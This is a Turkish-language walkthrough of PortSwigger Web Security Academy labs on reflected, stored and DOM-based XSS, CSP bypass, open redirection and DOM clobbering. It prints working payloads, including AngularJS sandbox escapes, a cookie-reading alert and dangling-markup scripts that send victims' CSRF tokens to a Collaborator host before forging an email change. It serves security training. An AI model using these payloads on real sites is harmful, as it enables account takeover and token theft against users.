Lab 23: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

Submit edilen değerlere sayfadan farklı bir yanıt dönüyorsa ne şekilde bir yanıt döndüğü çok önemlidir. Çünkü web sayfası bazen parantezleri, bazen açılı ayraçları bazen de tek tırnak işaretlerini vs. filtreleyebilir. Bu laboratuvarda Javascript dizesinden ayrılmayı önlemek için tek tırnak karakteri ters slash karakteriyle önlenmektedir. Kullanılan bu ters slash karakteri çalıştırılan komutun yorum olarak algılanmasını sağlamaktadır. Fakat saldırgan sırasıyla ters slash ve tek tırnak (\’) karakterleriyle başlayan bir payload submit ettiğinde web sayfası bunu ‘\\’ ……. şeklinde yorumlayacaktır ve payload çalışacaktır.

Fakat tek tırnak yerine ters slash kullandığımızda, ters slash karakterinin önüne bir ters slash daha gelmediği için \ karakterinin filtrelenmediğini anlıyoruz.

Javascript komut satırını sonlandırıp yeni XSS payloadımızı \’-alert(1)// şeklinde search edelim. Dönen yanıtta payloadın çalıştığını ve çift ters slash \\ karakterlerinin yorum satırı olarak algılandığını görüyoruz. Sonda kullanılan çift slash // karakterleriyle de geri kalan değerin comment edilmesi amaçlanmıştır.

NOT: ‘\\’-alert(1)//’; yanıtında ilk karakter (‘) web sayfası tarafından otomatik bir şekilde, ikinci karakter (\) kullanıcı tarafından ve üçüncü karakter (\) web sayfası tarafından tek tırnağı önlemek için tanımlanmıştır. Sondaki (’;) karakterleri sayfa tarafından ve geri kalanlar ’-alert(1)// kullanıcı tarafından tanımlanmıştır. Bunların bilinmesi ve doğru yorumlanması önem arz etmektedir.

Request üzerinde sağ tıklayıp URL adresini kopyalayıp tarayıcıda açtığımızda ve bir pop-up uyarısı alacağız. Laboratuvarın çözümü bu şekildedir.

Lab 24: Reflected XSS in a JavaScript URL with some characters blocked

Bazı web sayfaları, birçok karakteri kullanmamıza izin vermediği için XSS’i oldukça zorlaştırmaktadır. Bu durum büyük ihtimalle isteklerinizin web sitesine ulaşmasını engelleyen bir WAF’dan kaynaklanmaktadır. Bu durumda, WAF atlatmamızı sağlayacak işlevleri farklı tekniklerle kullanmak gerekir. Bunu yapmanın en güzel yollarından bir tanesi, bir istisna işleyicisiyle birlikte throw ifadesini kullanmaktır.

Bu laboratuvarda, web sayfası belirli karakterleri filtrelemektedir. Laboratuvarı çözmek throw ifadesini barındıran bir XSS payloadı kullanacağız.

Sayfa üzerinde herhangi bir blog postu görüntülediğimizde, blog postun URL’de postId parametresiyle çağrıldığını gözlemleyelim.

postId parametresine, &%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27 şeklinde encoding yapılmış karmaşık bir XSS payloadı ekliyoruz.

URL’e payloadı ekledikten sonra submit edelim. Bloğa geri döndüğümüzde pop-up uyarısı açılacaktır. Bu laboratuvarın çözümü bu şekildedir.

Lab 25: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

Kontrol edilebilir verimiz Javascript kodunun bir HTML attribute’nun etiketleri arasında yer aldığında HTML encoding yapmak mümkündür. Web uygulaması, submit edilecek XSS payloadı için belirli karakterleri engelliyor veya sterilize ediyorsa, bu karakterleri bazen HTML encoding yaparak çalıştırabiliriz.

Herhangi bir blog yazısının Comment alanında gerekli bilgileri girelim ve bir yorum mesajı gönderelim.

Sayfa kaynağını incelediğimizde Website: başlığına verdiğimiz https://www.arifari.com bağlantısının href attribute’nda yer aldığını ve onclick özelliği ile Arif ismine bağlantı adresinin tanımlandığını görmekteyiz. Website başlığına URL adresi yerine bir XSS payloadı ekleyip send edebiliriz.

İkinci bir mesaj yorumu gönderip Burp aracıyla giden isteği yakalayalım. İsteği repeatera gönderip Website başlığına http://foo?’-alert(1)-’ şeklinde XSS payloadımızı tanımlayıp send edelim. Yorum alanına gelip ikinci mesajı yayınlayan Arif bağlantısına tıkladığımızda hata alıyoruz. Web sayfası tırnak işaretlerini filtrelediği için payload çalışmadı.

Comment bölümünde XSS payloadımızı güncelleyip, tek tırnak işaretlerini html encoding yaparak post edelim.

Payload çalıştığı için, web sayfasının yorum alanına gelerek ikinci mesajı yayınlayan Arif kullanıcısına tıkladığımızda pop-up uyarısı açılacaktır. Bu laboratuvarın çözümü bu şekildedir.

Lab 26: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

Javascript’te string oluştururken tek yada çift tırnak karakterleri kullanılmaktadır. Fakat JavaScript’te stringleri daha güzel ve dinamik bir şekilde biçimlendirmemizi sağlayan Template Literal standardı son zamanlarda oldukça popüler hale gelmiştir. Template Literalleri ile normal tırnak işaretleri yerine ters tırnak `` karakterleri kullanılarak stringler tanımlanmaktadır.

Bu laboratuvarda arama bloğuna vereceğimiz değer javascript şablonunda ters tırnak `` karakterleri arasına alınmaktadır. Böyle bir durumda, javascript komut satırından çıkmamıza gerek kalmamaktadır. Çalıştıracağımız XSS payloadını ${…} syntax’ını kullanarak gerçekleştirebiliriz.

Search bloğunda restgele bir değer (arif1234) aratıp burp suite ile dönen yanıtı inceleyelim. 0 search results for ‘arif1234’ stringinin bir Javascript dizesinde ters tırnak işaretleri içinde yansıtıldığını görmekteyiz.

${alert(1)} şeklinde bir XSS payloadı search edelim. Kullandığımız ${..} syntax’ı ile XSS payloadımız çalışmış ve script komut satırını devre dışı bırakmamıza gerek kalmamıştır.

Request üzerinde sağ tıklayıp URL adresini kopyalayıp tarayıcıda açtığımızda ve bir pop-up uyarısı alacağız. Laboratuvarın çözümü bu şekildedir.

Lab 27: Reflected XSS with AngularJS sandbox escape without strings

AngularJs, zararlı komutlar çalıştırmayı engellemek için bir tür sanal alan (sandbox) kullanmaktadır. AngularJS sandbox’ı, AngularJS template ifadelerinde window veya document gibi tehlikeli nesnelere ve __proto__ gibi özelliklere erişimi engelleyen bir mekanizmadır. Zamanla sandbox’ı atlatabilmek için sayısız yöntem keşfedildi ve bu özellik AngularJs’nin 1.6 sürümüyle beraber kaldırıldı. Fakat bazı web sayfaları AngularJs’nin eski sürümlerini kullandıkları için savunmasız olabilmektedir. Bu laboratuvarda AngularJS sandbox’ı kullanılmaktadır. Bu yöntemi atlatabilmek için bir XSS payloadı çalıştıracağız.

AngularJS her karakteri tanımlayıcı olarak gördüğü için $eval(‘x=alert(1)’ gibi bir ifadeye izin vermektedir. Fakat bu laboratuvarda $eval() işlevi tanımsız olduğu için orderBy işlevini kullanacağız.

Sayfa üzerinde URL’e /?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 şeklinde bir XSS payloadı ekleyip submit ettiğimizde laboratuvarı çözmüş olacağız.

NOT: Bu XSS payloadı, tırnak işaretleri kullanmadan bir dize oluşturmak için toString()’i kullanır. Daha sonra String prototipini alır ve her dize için charAt işlevinin üzerine yazar. Bu, AngularJS sandbox’ını etkili bir şekilde bozmaktadır. Ardından, orderBy filtresine bir dizi işlenir. Burada bir dize oluşturmak için toString() işlevini ve string constructor özelliğini kullanarak filtrenin argümanını yeniden belirledik. Son olarak, payloadı oluşturan fromCharCode yöntemini kullanarak karakter kodlarını x=alert(1) dizgisine dönüştürdük. String prototipi charAt işlevinin üzerine yazıldığından, AngularJS normalde izin vermediği yerlerde bu koda izin vermektedir.

Congratulations, you solved the lab!

Lab 28: Reflected XSS with AngularJS sandbox escape and CSP

Bu laboratuvarda, web uygulaması AngularJS sandbox’ı ve CSP kullanmaktadır. CSP (Content Security Policy), XSS ve SQL Injection gibi saldırılara karşı yapılandırılan bir güvenlik politikası diyebiliriz. Çalıştıracağımız XSS payloadıyla AngularJS sandbox’ını ve CSP politikasını bypass edeceğiz.

Exploit sunucusunda ki input alanında, <script>
location=’https://ac7d1fef1f7fdef7c0e6192e00f600f8.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script> şeklinde bir XSS payloadı Store edelim ve lokasyon olarak Exploit sunucusunda yer alan url adresini tanımlayalım. Exploiti kurbana teslim ettikten sonra laboratuvarı çözmüş olacağız.

NOT: Bu XSS payloadı CSP güvenlik politikasını atlatabilmek için AngularJS’deki ng-focus işlevini kullanır ve bir AngularJS değişkeni olan $event’i kullanır. path özelliği, Chrome’a özeldir ve olayı tetikleyen bir dizi öğe içerir. Dizideki son eleman, window nesnesini içerir. Normalde, | karakteri JavaScript’te bir işlem yapılacağı anlamına gelir ancak AngularJS’de orderBy komutuyla bir filtre yapılacağını gösterir. İki nokta üst üste (:), filtreye gönderilen argümanı belirtir. Argümanda, alert işlevini doğrudan çağırmak yerine, onu z değişkenine atıyoruz. Alert işlevi yalnızca orderBy işlemi $event.path dizisindeki window nesnesine ulaştığında çalışmaktadır.

Congratulations, you solved the lab!

Lab 29: Reflected XSS protected by CSP, with dangling markup attack

Web uygulaması XSS saldırılarını azaltmak için CSP kullanmaktadır. Bu laboratuvarda CSP güvenlik politikasını bypass edeceğiz ve CSRF token bilgisi ile bir başka kullanıcının email adresini değişmeye çalışacağız. Bunun için dangling markup (sarkan işaretleme) adı verilen bir saldırı gerçekleştirerek yapacağız. Dangling markup, submit edilen zararlı komutların çalışmadığı durumlarda domain üzerinden veri yakalamak için kullanılan bir tekniktir.

Laba erişim öncesi bir hesap bilgisi wiener:peter tanımlanmıştır. Bu bilgilerle login olduğumuzda bir Update email sayfası karşımıza çıkmaktadır. Bir mail adresi tanımlayıp submit edelim ve isteği burp ile inceleyelim.

Gönderilen istek ekrandaki gibidir. Bir CSRF token bilgisinin yer aldığını görmekteyiz.

Alıntı Ekran

Bu saldırıyı yapabilmek için Burp Collaborator istemcisini kullanmamız gerekmektedir. Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi (0e6ctl3py2glwvexlrti9cawenkd82.burpcollaborator.net) kopyalıyoruz.

Exploit sunucusuna gelip input alanında, <script>
location=’https://ac431f731eeb5de0c0c2085500cd0067.web-security-academy.net/my-account?email=%22%3E%3Ctable%20background=%27//0e6ctl3py2glwvexlrti9cawenkd82.burpcollaborator.net?';
</script> şeklinde bir XSS exploit kodu Store ediyoruz. URL’e exploit sunucu adresimizi tanımlıyoruz ve ardından exploiti kurbana teslim (Deliver exploit to victim) ediyoruz. Hedef kullanıcı, web sitesinde oturum açmış durumdayken bu zararlı komut dosyasını Store ettiğimiz sayfayı ziyaret ederse, hedef kullanıcının tarayıcısı belirttiğimiz lokasyon adresine CSRF token’ı içeren bir istek gönderir. Burp Collaborator istemcisini kullanarak bu token bilgisini ele geçirebilmekteyiz.

Alıntı Ekran

Burp Collaborator client bölümünden Poll now seçeneğine tıklayarak bir HTTP etkileşiminin olduğunu görebiliriz. Collaborator isteğini incelediğimizde encode edilmiş kodun içinde bir CSRF token bilgisi yer almaktadır.

Alıntı Ekran

Update email sayfasında tekrar bir mail adresi tanımlayıp submit edelim ve isteği burp ile yakalayalım. İstek üzerinde mail adresini rastgele bir mail adresi (hacker@evil-user.net) ile değişelim. CSRF token’ı değişmek için ise isteğe sağ tıklayıp sırasıyla “Engagement tools” ve “Generate CSRF PoC” adımlarını izleyelim.

Alıntı Ekran

Bu pencere, hem isteği hem de istek tarafından oluşturulan CSRF HTML’ini gösterir. İstek üzerinde csrf parametresini daha önce ele geçirdiğimiz CSRF token’ı ile değiştiriyoruz. Options sekmesinden otomatik göndermeyi (Include auto-submit script) aktif edelim ve Regenerate edip CSRF HTML’ini güncellemiş olalım. HTML kodunu kopyalayıp exploit sunucusundaki input alanında Store edelim. Exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra kullanıcının e-posta adresi hacker@evil-user.net olarak değiştirilecektir. Laboratuvarın çözümü bu şekildedir.

Lab 30: Reflected XSS protected by very strict CSP, with dangling markup attack

Web sayfası, tüm harici istekleri engellediğinden, bu laboratuvarı çözmek daha zordur. Fakat verileri depolamamıza ve daha sonra harici bir sunucudan (burpcollaborator.net) almanıza izin veren belirli etiketler vardır. Laboratuvarda, bir CSRF token bilgisi ile başka bir kullanıcının email adresini değişmeye çalışacağız. Bunun için, içerisinde zararlı bir komut dosyasını barındıran bir bağlantı adresine hedef kullanıcının tıklaması gerekmektedir.

wiener:peter hesap bilgisiyle login olduktan sonra bir mail adresi tanımlayıp submit edelim ve isteği burp ile inceleyelim.

Gönderilen istek ekrandaki gibidir. Bir CSRF token bilgisinin yer aldığını görmekteyiz.

Bu saldırıyı yapabilmek için Burp Collaborator istemcisini kullanmamız gerekmektedir. Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi (1323g20ezhkwfsqzfvvvn03e55bvzk.burpcollaborator.net) kopyalıyoruz.

Exploit sunucusuna gelip input alanında, <script> if(window.name) {
new Image().src=’//1323g20ezhkwfsqzfvvvn03e55bvzk.burpcollaborator.net?’+encodeURIComponent(window.name);
} else {
location = ‘https://acd61f5d1f52e592c040050c00d900fa.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-ac941f651f30e5c4c0b7057d019600ea.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
} </script> şeklinde bir XSS exploit kodu Store ediyoruz. URL’e exploit sunucu adresini, href başlığına exploit ile başlayan adresi tanımlıyoruz ve ardından exploiti kurbana teslim (Deliver exploit to victim) ediyoruz. Hedef kullanıcı, web sitesinde oturum açmış durumdayken bu zararlı komut dosyasını Store ettiğimiz sayfayı ziyaret ederse, ve oluşturduğumuz zararlı bağlantıyı içeren Click me butonuna tıklarsa, hedef kullanıcının tarayıcısı belirttiğimiz lokasyon adresine CSRF token’ı içeren bir istek gönderir. Burp Collaborator istemcisini kullanarak bu token bilgisini ele geçirebilmekteyiz.

Bu pencerede, hem isteği hem de istek tarafından oluşturulan CSRF HTML’ini görebiliyoruz. İstek üzerinde csrf parametresini daha önce ele geçirdiğimiz CSRF token’ı ile değiştiriyoruz. Options sekmesinden otomatik göndermeyi (Include auto-submit script) aktif edelim ve Regenerate edip CSRF HTML’ini güncellemiş olalım. HTML kodunu kopyalayıp exploit sunucusundaki input alanında Store edelim. Exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra kullanıcının e-posta adresi hacker@evil-user.net olarak değiştirilecektir. Laboratuvarın çözümü bu şekildedir.

Lab 31: Reflected XSS protected by CSP, with CSP bypass

Input edilen XSS payloadını bize cevabında yansıtan fakat CSP güvenlik politikası nedeniyle sonuç döndürmeyen bir web sayfası düşünelim. CSP bypass edebilmek için sonucu detaylıca irdelemek gerekmektedir.

Arama kutusunda <img src=1 onerror=alert(1)> komut satırını submit edelim ve isteğin yanıtını Burp aracıyla inceleyelim. Input ettiğimiz payload bize yanıtta yansıtılmakta fakat CSP nedeniyle bir alert uyarısı vermemektedir.

Response’da üst bilgiyi incelersek bir CSP başlığının yer aldığını ve bu başlık altında rapor-uri yönergesinin bir token parametresi içerdiğini göreceğiz. Token parametresi kontrol edilebilir olduğundan kendimiz bir CSP yönergesi enjekt edebilir, bir XSS saldırısı gerçekleştirebiliriz.

URL’de search parametresine, %3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27 şeklinde bir XSS payloadı ekleyip submit ettiğimizde bir pop-up uyarısı alacağız ve laboratuvarı çözmüş olacağız.

NOT: XSS payloadında script-src-elem yönergesini kullandık. Bu yönerge, satır içi komut dosyalarını kullanmamıza olanak tanımaktadır. Ayrıca script-src kaynağı ile yazacağımız komut satırını unsafe-inline içine enjekte edebilmemize yardımcı olmaktadır.

Congratulations, you solved the lab!

NOT: Burp Collaborator client bölümü Burp Suite aracının pro versiyonunda mevcuttur. Dolayısıyla, Burp Collaborator client özelliğinin kullanıldığı laboratuvarlardaki ekran görüntülerinde alıntılar yapılmıştır.

PORTSWIGGER WEB SECURITY - DOM BASED VULNERABILITIES LAB ÇÖZÜMLERİ

DOM, bir web tarayıcısının sayfadaki öğelerinin hiyerarşik temsilidir. Web siteleri, DOM hiyerarşisinin düğümlerini, nesnelerini ve bunların özelliklerini değiştirmek için JavaScript’i kullanabilir. Javascript, verileri güvensiz bir şekilde işlediğinde çeşitli saldırılara neden olmaktadır. Bir web sitesi, verileri bir kaynaktan bir havuza ilettiğinde güvenli olmayan bir şekilde işleniyorsa DOM tabanlı güvenlik zafiyetleri ortaya çıkar.

DOM Based XSS güvenlik açıklarına yol açabilecek bazı kaynaklar şu şekildedir :

=> document.URL
=> document.documentURI
=> document.URLUnencoded
=> document.baseURI
=> location
=> document.cookie
=> document.referrer
=> window.name
=> history.pushState
=> history.replaceState
=> localStorage
=> sessionStorage
=> IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
=> Database

DOM Based XSS güvenlik açıklarına yol açabilecek bazı havuzlar şu şekildedir :

=> document.write()
=> window.location
=> document.cookie
=> eval()
=> document.domain
=> WebSocket()
=> element.src
=> postMessage()
=> setRequestHeader()
=> FileReader.readAsText()
=> ExecuteSql()
=> sessionStorage.setItem()
=> document.evaluate()
=> JSON.parse(), element.setAttribute(), RegExp()

Lab 1: DOM XSS using web messages

Web uygulamasında, web mesajları kaynak olarak kullanıldığında bir DOM Based XSS zafiyeti ortaya çıkabilir. Örneğin bir web sayfası, gelen mesajların kaynağını doğru bir şekilde doğrulamaz ve gelen web mesajlarını güvenli olmayan bir şekilde işlerse, event listener adı verilen bir olay dinleyicisi tarafından çağrılan özellikler ve işlevler havuzlar haline gelebilir. Örneğin saldırgan, web mesajını olay dinleyicisine iletmek için postMessage() yöntemini kullanarak zararlı bir iframe payloadı çalıştırabilir ve payloadı ana sayfadaki bir havuza gönderebilir. Web mesajları bu şekilde kaynak olarak kullanıldığında zararlı komutlar enjekte edilebilir.

Bu laboratuvarda, web mesajını dinleyen bir addEventListener() olay dinleyicisi mevcuttur. Gelen mesajın kaynağı doğrulanmadığı için DOM XSS zafiyeti söz konusudur.

Sayfanın kaynağını incelediğimizde addEventListener() olay dinleyicisinin kullanıldığını görebiliriz.

Exploit sunucusuna gidip input alanında, <iframe src=”https://acf11f7a1e7a4294c03a11840019005d.web-security-academy.net/" onload=”this.contentWindow.postMessage(‘<img src=1 onerror=print()>’,’*’)”> şeklinde kendi sunucu adresimizin id değerini içeren bir iframe payloadı Store edelim. Exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra laboratuvarı çözmüş olacağız.

Payload gönderildiğinde, postMessage() yöntemiyle ana sayfaya bir web mesajı gönderilir. Olay işleyicisi web mesajının içeriğini alır ve ID bilgisiyle birlikte div’e ekler. Dolayısıyla geçersiz bir src niteliği içeren img etiketini de ekleyecektir. postMessage() içerisinde targetOrigin “*” değerini belirterek genel anlamda bir hata oluşmasına ve onerror işlevinin payloadı çalıştırmasına neden oluyoruz.

Congratulations, you solved the lab!

Lab 2: DOM XSS using web messages and a JavaScript URL

Bu web uygulamasının JavaScript kodu içerisinde, web mesajının herhangi bir yerinde “http:” veya “https:” dizelerini arayan hatalı yapılandırılmış bir indexOf() denetimi söz konusudur.

Sayfanın kaynağını incelediğimizde addEventListener() olay dinleyicisinin kullanıldığını görebiliriz. JavaScript kodu içerisinde, web mesajının herhangi bir bloğunda “http:” veya “https:” dizelerini arayan bir indexOf() denetimi yapılmaktadır. Fakat hatalı yapılandırılmıştır ve havuzda location.href özelliğinin yer almasıyla beraber bir DOM zafiyetine neden olmaktadır.

Exploit sunucusuna gidip input alanında, <iframe src=”https://aced1fe51ec23ed6c0161746003f009e.web-security-academy.net/" onload=”this.contentWindow.postMessage(‘javascript:print()//http:’,’*’)”> şeklinde kendi sunucu adresimizin id değerini içeren bir iframe payloadı Store edelim. Exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra laboratuvarı çözmüş olacağız.

Bu komut satırı, “http:” dizesiyle birlikte rastgele bir JavaScript payloadı içeren bir web mesajı gönderir. İkinci argüman, web mesajı için bir targetOrigin’e (“*”) izin verildiğini belirtir. Payload, postMessage() yöntemiyle ana sayfaya gönderilir. Olay dinleyicisi “http:” dizesini tespit eder ve payloadı print() işlevinin çağrıldığı location.href havuzuna gönderir.

Congratulations, you solved the lab!

Lab 3: DOM XSS using web messages and JSON.parse

Bir olay dinleyicisi bir tür kaynak doğrulaması yapıyor olsa dahi, bu doğrulama yöntemi bazen hatalı olabilmektedir. Örneğin bir web uygulamasında böyle bir kodun yer aldığını düşünelim.

window.addEventListener(‘message’, function(e) { if (e.origin.indexOf(‘hack-website.com’) > -1) { eval(e.data); }});

Burada indexOf denetimi, gelen iletinin kaynağının hack-website.com domaini olduğunu denetlemek ve doğrulamak için kullanılmaktadır. Fakat temelde, sadece “hack-website.com” dizesinin kaynak URL’de mevcut olup olmadığını kontrol etmektedir. Dolayısıyla, bir saldırgan bu doğrulama adımını kolayca bypass edebilir.

Sayfanın kaynağını incelediğimizde addEventListener() olay dinleyicisinin kullanıldığını görebiliriz. JSON.parse() kullanılarak ayrıştırılan bir dize bu olay dinleyicisine gönderilir. Ayrıca Javascript içeriğinde ki switch ifadesi, load-channel durumunun iframe src özniteliğini değiştirmektedir.

Exploit sunucusuna gidip input alanında, <iframe src=https://ac761fae1b99bbf2c0b98eba00cc009d.web-security-academy.net/ onload=’this.contentWindow.postMessage(“{\”type\”:\”load-channel\”,\”url\”:\”javascript:alert(1)\”}”,”*”)’> şeklinde kendi sunucu adresimizin id değerini içeren bir iframe payloadı Store edelim. Exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra laboratuvarı çözmüş olacağız.

Payload yüklendiğinde, postMessage() yöntemiyle ana sayfaya load-channel tipinde bir web mesajı gönderilir. Olay dinleyicisi mesajı alır ve anahtara göndermeden önce JSON.parse() kullanarak ayrıştırır. Anahtar, mesajın URL özelliğini ACMEplayer.element iframe’inin src özniteliğine atayan load-channel durumunu tetikler. Mesajın URL özelliği aslında JavaScript payloadımızı içermektedir. İkinci argüman ise web mesajı için bir targetOrigin’e (“*”) izin verildiğini belirtir. Olay işleyicisi herhangi bir köken denetimi yapmadığından, gönderilen payload, ACMEplayer.element iframe’inin src’si olarak ayarlanır. Son adımda print() işlevi, kurbanın tarayıcı sayfasında yüklendiğinde çağrılır.

Congratulations, you solved the lab!

Lab 4: DOM-based open redirection

Bir web sayfasında ki URL adresinde, bir parametreye bağlı istek gönderiliyorsa ve bu parametreye yeni bir URL tanımlandığında sayfaya yönlendirilme söz konusu ise burada open redirection zafiyeti oluşmaktadır. Örneğin, https://domain.com/id=6 URL adresini https://domain.com/id=6&url=https://google.com şeklinde submit ettiğimizde sayfa google.com’ a yönlendiriliyorsa open redirection zafiyetinden söz edebiliriz.

Sonradan tanımlanan URL adresi DOM’a işlendiğinde ve yönlendirilme yapıldığında DOM tabanlı bir açık yönlendirme zafiyeti ortaya çıkmaktadır. Herhangi bir blog yazısını görüntülediğimizde https://bt241f0bownp1f16asd023ba02h750ad.web-security-academy.net/post?postId=6 URL adresiyle yönlendirildiğimizi göreceğiz. Sayfanın kaynağını incelediğimizde, <a href=’#’ onclick=’returnURL’ = /url=https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = “/”’>Back to Blog</a> bağlantısının yer aldığı farkedilecektir. url parametresi, “Back to Blog” bağlantısı ile kullanıcıyı başka bir adrese yönlendirmemize olanak tanımaktadır.

URL adresine, exploit server sunucu adresimizi barındıran &url=https://exploit-ac531fb11f66e018c0286072014c0049.web-security-academy.net/ şeklinde kendi exploit sunucu adresimizin id değerini içeren yeni bir URL adresi ekleyelim ve submit edelim. Ardından Back to Blog bağlantısına tıkladığımızda exploit server sayfasına yönlendirileceğiz. Bu laboratuvarın çözümü bu şekildedir.

Congratulations, you solved the lab!

NOT: DOM Based Open Redirection zafiyetine neden olan bazı havuzlar şu şekildedir:

=> location
=> location.host
=> location.hostname
=> location.href
=> location.pathname
=> location.search
=> location.protocol
=> location.assign()
=> location.replace()
=> open()
=> element.srcdoc
=> XMLHttpRequest.open()
=> XMLHttpRequest.send()
=> jQuery.ajax()
=> $.ajax()

Lab 5: DOM-based cookie manipulation

Bazı DOM tabanlı güvenlik zafiyetleri, denetlenmeyen verilerin saldırganlar tarafından değiştirilmesine olanak tanımaktadır. Saldırgan tarafından kontrol edilebilen bir cookie değerine, zararlı bir komut yazıldığında DOM tabanlı cookie manipülasyon zafiyeti ortaya çıkmaktadır.

Örneğin, JavaScript içeriğinde bir kaynaktan alınan veri filtrelenmeden document.cookie’ye yazılırsa, saldırgan cookie değerini değiştirmek için çeşitli komutlar çalıştırabilir. Web uygulaması, cookie değerlerini güvenli olmayan bir şekilde yansıtıyorsa, saldırgan cookie bilgisini manipüle edebilir.

Sayfa üzerinde herhangi bir ürüne ‘View details’ tıklayarak isteği burp ile inceleyelim. Sayfanın, lastViewedProduct adlı istemci tarafında bir cookie bilgisi kullandığını ve bu parametrenin ürün sayfasının URL bilgisini içerdiğini göreceğiz.

Sayfa kaynağını incelediğimizde ise lastViewedProduct parametresine verilecek değerin document.cookie’ye yazıldığını görebiliriz.

Exploit sunucusuna gidip input alanında, <iframe src=”https://acd71ff21fa010abc04947aa004a0062.web-security-academy.net/product?productId=1&'><script>print()</script>" onload=”if(!window.x)this.src=’https://acd71ff21fa010abc04947aa004a0062.web-security-academy.net';window.x=1;"> şeklinde kendi sunucu adresimizin id değerini içeren bir payload Store edelim. Exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra laboratuvarı çözmüş olacağız.

Payload yüklendiğinde, tarayıcı geçici olarak bu zararlı URL’i açar ve bu URL daha sonra lastViewedProduct parametresinin cookie değeri olarak kaydedilir. Kurban bu manipülasyonun gerçekleştiğinden habersiz bir şekilde onload olay işleyicisiyle ana sayfaya yönlendirilir. Kurbanın tarayıcısında zararlı cookie kayıtlı olduğundan, ana sayfanın çağrılması payloadın çalışmasına sebep olur.

Congratulations, you solved the lab!

Lab 6: Exploiting DOM clobbering to enable XSS

DOM clobbering zafiyeti, DOM hiyerarşisine bir HTML zararlısı enjekte edildiğinde ortaya çıkmaktadır. Genellikle, bir DOM nesnesinin başka bir DOM nesnesi üzerine doğrulanmadan yazılması sonucu meydana gelmektedir. Bu zafiyet özellikle XSS mümkün olmadığı zaman kullanışlıdır ancak id veya name niteliklerinin filtrelenmediği bir web sayfasında bazı HTML’leri kontrol edebilirsek zararlı enjekte edebiliriz.

Örneğin bir web sayfasında aşağıdaki gibi bir Javascprit kodunun çalıştığını düşünelim:

<script> window.onload = function(){ let someObject=window.someObject || {}; let script = document.createElement(‘script’); script.src = someObject.url;
document.body.appendChild(script); }; </script>

Bu savunmasız bir kod parçasıdır çünkü saldırgan tarafından kontrol edilebilir bir yapıya sahiptir. Saldırgan bir bağlantı öğesi kullanarak bu koddan yararlanabilir, someObject referansını engellemek için aşağıdaki gibi bir HTML komut satırı enjekte edebilir:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>

Bu komut satırında, iki bağlantı aynı id değerini kullandığından DOM hiyerarşisi bunları bir DOM koleksiyonunda gruplandırır. Burada url kontrol edilebilmektedir. Submit edilecek payload bu DOM koleksiyonuyla someObject nesnesi için tanımlanır. İkinci bağlantı öğesinde ki name özelliği, bir harici komut dosyasına işaret eden someObject nesnesinin url özelliğini engellemek için kullanılmaktadır.

Web sayfasında ki herhangi bir blog gönderisine ‘View post’ tıkladığımızda ve sayfanın kaynağını incelediğimizde, loadCommentsWithDomPurify.js adlı bir JavaScript dosyasının işlendiğini göreceğiz.

Bu js dosyası, let defaultAvatar = window.defaultAvatar || {avatar: ‘/resources/images/avatarDefault.svg’} şeklinde savunmasız bir kod çalıştırmaktadır. defaultAvatar nesnesi, bir global değişkenle birlikte VEYA (||) operatörünü içeren bir söz dizimiyle tehlikeli bir şekilde yapılandırılmıştır. Bağlantı etiketlerini kullanarak bu nesneyi engelleyebiliyoruz.

Herhangi bir blog gönderisinde, <a id=defaultAvatar><a id=defaultAvatar name=avatar href=”cid:"onerror=alert(1)//”> bir yorum mesajı comment edelim. Bloğa geri dönüp tekrardan bir yorum (random) mesajı gönderdiğimizde alert fonksiyonu çağrılacak ve laboratuvarı çözmüş olacağız.

Aynı id değerine sahip iki bağlantı oluşturmak, bunların DOM koleksiyonunda gruplandırılmasına neden olmaktadır. İkinci bağlantıdaki avatar değerini içeren name özelliği, avatar değerini href niteliğinin içeriğiyle karıştıracaktır.

Web sayfası, ilk ekran görüntüsünden de anlaşılacağı üzere DOM tabanlı güvenlik açıklarını azaltmak amacıyla DOMPurify filtresini kullanmaktadır. Payloadımızdaki çift tırnakları URL encoding yapmadığımız için DOMPurify, cid: protokolünün kullanılmasına izin vermektedir. Dolayısıyla sayfanın bir sonraki yüklenmesinde, defaultAvatar değişkenine {avatar: ‘cid:”onerror=alert(1)//’} komutu atanacak ve alert fonksiyonu çağrılacaktır.

Congratulations, you solved the lab!

Lab 7: Clobbering DOM attributes to bypass HTML filters

Bu web sayfası, DOM clobbering zafiyetini engellemek için HTMLJanitor kitaplığını kullanmaktadır. Fakat HTML filtrelerini atlatarak bu zafiyeti tetikleyebiliyoruz. Örneğin input vb. bir öğeyle birlikte bir form öğesi kullanarak DOM Clobbering zafiyetini tespit edebiliriz.

Web sayfasında bir blog gönderisine ‘View post’ tıkladığımızda ve sayfanın kaynağını incelediğimizde, htmlJanitor kitaplığının kullanıldığını göreceğiz.

Bir blog gönderisinde, <form id=x tabindex=0 onfocus=print()><input id=attributes> bir yorum mesajı comment edelim ve bir input formu oluşturalım.

HTMLJanitor kitaplığı, HTML özelliklerini filtrelemek için attribute’lar kullanır ancak form öğesine istediğimiz herhangi bir attribute’u enjekte edebiliyoruz. Burada print() işlevini çağırmak için onfocus attribute’nu kullandık.

Enjekte ettiğimiz komut satırının çalıştığını comment alanında oluşturduğumuz input formu ile doğrulamış olalım.

